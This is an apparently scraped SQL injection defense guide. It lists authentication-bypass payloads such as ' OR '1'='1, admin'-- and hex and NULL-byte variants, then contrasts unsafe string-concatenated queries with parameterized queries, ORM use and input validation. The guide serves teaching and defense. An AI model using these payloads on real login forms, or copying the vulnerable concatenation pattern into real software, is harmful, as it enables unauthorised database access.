SQL Injection Defense Guide
Learn SQL injection vulnerabilities and secure coding practices to protect your databases
Payload Categories
Authentication Bypass Payloads
Basic OR Bypass
' OR '1'='1Classic authentication bypass using always-true condition
Comment Bypass
admin'--Comments out password check, logs in as admin
OR True with Comment
' OR 1=1--Combines OR with comment to bypass auth
Double Dash Comment
admin'/*Uses multi-line comment for bypass
Hex Encoded
' OR 0x31=0x31--Uses hex encoding to bypass basic filters
NULL Byte
admin'%00NULL byte termination bypass
Custom Payload Builder
Payload Encoding
URL Encoded
-Double URL Encoded
-Hex Encoded
-Unicode Encoded
-Prevention Methods
Parameterized Queries
// Safe - using prepared statements
const stmt = db.prepare('SELECT * FROM users WHERE id = ?');
stmt.get(userId);String Concatenation
// UNSAFE - vulnerable to SQLi
const query = `SELECT * FROM users WHERE id = '${userId}'`;
db.query(query);ORM/Query Builder
// Safe - using ORM
User.findOne({ where: { id: userId } });Input Validation
// Additional layer - validate input type
if (!Number.isInteger(parseInt(userId))) {
throw new Error('Invalid ID');
}